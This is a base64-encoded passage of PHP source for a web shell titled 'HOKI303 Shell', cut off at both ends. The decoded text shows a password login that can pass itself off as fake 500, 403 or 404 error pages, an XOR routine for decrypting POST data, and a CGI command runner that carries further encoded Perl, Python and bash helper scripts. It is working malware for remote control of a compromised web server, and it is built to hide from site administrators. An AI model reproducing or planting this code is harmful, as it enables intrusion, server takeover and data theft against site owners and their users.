yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OT
k5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb
3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7
Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCB
zb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2
NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZ
G93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJy
YXkoCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUI
iLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZX
IsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsC
gkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRp
X3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXV
sdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycm
F5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlc
l90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJ
InVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgk
JKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y2
9sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJC
QkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAi
I2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQ
tY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2
Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qI
ScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdIb2tpVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdIb2tpUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdIb2tpUHJvdGVjdFNoZWxsJyA9
PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdIb2tpTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmV
fdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0hva2lQcm90ZWN0U2hlbG
wnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46M
DtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lF
WyJIb2tpVXNlciJdICE9ICRjb25maWdbJ0hva2lVc2VyJ10gJiYgJF9DT09LSUVbIkhva2lQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydIb2tpVXNlciddICYmIEBtZDU
oJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snSG9raVBhc3MnXSl7Cl9faG9raV9zZXRfY29va2llKCJIb2tpVXNlciIsICRjb25maWdbJ0hva2lVc2VyJ10pOwpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVBhc3MiLCBAbWQ1KCRjb25maWdbJ0
hva2lQYXNzJ10pKTsKQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47I
HJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6
NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0RFX05BTUVfXy4nIH48L3RpdGxlPjxjZW50ZXI+CjxjZW50ZXI+PGltZyBzdHlsZT0iYm9
yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2FuZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvY2VudGVyPgo8ZG
l2IGlkPWxvZ2luYm94PjxwPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+CjxjZW50ZXI+PHRhYmxlIGNlbGxwYWRkaW5nPVwnMlwnIGNlbGxzcGFjaW5nPVwnMFwnIGJvcmRlcj1cJzBcJyBpZD1cJ2FwX3RhYmxlXCc+Cjx0cj48d
GQgYmdjb2xvcj0iZ3JlZW4iPjx0YWJsZSBjZWxscGFkZGluZz1cJzBcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgd2lkdGg9XCcxMDAlXCc+PHRyPjx0ZCBiZ2NvbG9yPSJncmVlbiIgYWxpZ249Y2VudGVyIHN0eWxlPSJwYWRkaW5n
OjI7cGFkZGluZy1ib3R0b206NCI+PGI+PGZvbnQgY29sb3I9IndoaXRlIiBzaXplPS0xIGNvbG9yPSJ3aGl0ZSIgZmFjZT0idmVyZGFuYSxhcmlhbCI+PGI+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0R
FX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im
xvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90Z
D48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48
L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWN
laG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOz
wvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0O
wp9Cn1lbHNlaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiSG9raVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydI
b2tpUGFzcyddKXsKX19ob2tpX3NldF9jb29raWUoIkhva2lVc2VyIiwgJGNvbmZpZ1snSG9raVVzZXInXSk7Cl9faG9raV9zZXRfY29va2llKCJIb2tpUGFzcyIsIEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjo
gJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2Vydm
VyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsI
CcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9y
LjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWV
sc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYX
NzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWydIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU
0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIu
JF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCR
fQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYXNzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWy
dIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb
3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3Vu
ZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp
9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fSE9LSV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1
pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7C
gkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJl
dHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0hva2lTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkhva2lTZWNyZXRLZXkiXTsKCWl
mKCFpc3NldCgkX0NPT0tJRVsiSG9raVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9faG9raV9zZXRfY29va2llKCJIb2tpU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldD
sKfQpmdW5jdGlvbiBob2tpX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJ
EdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19IT0tJX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJr
ZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGhva2lDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0hPS0lfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZ
hbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGhva2lfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3
NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBob2tpX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb
3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2Fy
Z3MoKTsKJGhva2l4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRob2tpeFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwp
mb3JlYWNoKCRob2tpeCBhcyAkaG9raSl7CmlmKGluX2FycmF5KCRob2tpLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2hva2knLiRob2tpLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfaG9raV9jZ2ljbWQoJGNtZCwkbG
FuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJf
QoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRy
ZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiaG9raWNnaWFwaS8iLiRfQ09PS0lFWyJob2tpY2dpYXBpIl0uIi5ob2tpIikpewoJCQkJJHJlY3JlYXRlID0gdHJ
1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImhva2ljZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTU
UiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxM
zZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1
WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJ
jYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaV
I1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqT
ENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNl
M0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVR
jSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MG
J5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3O
Ct6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgz
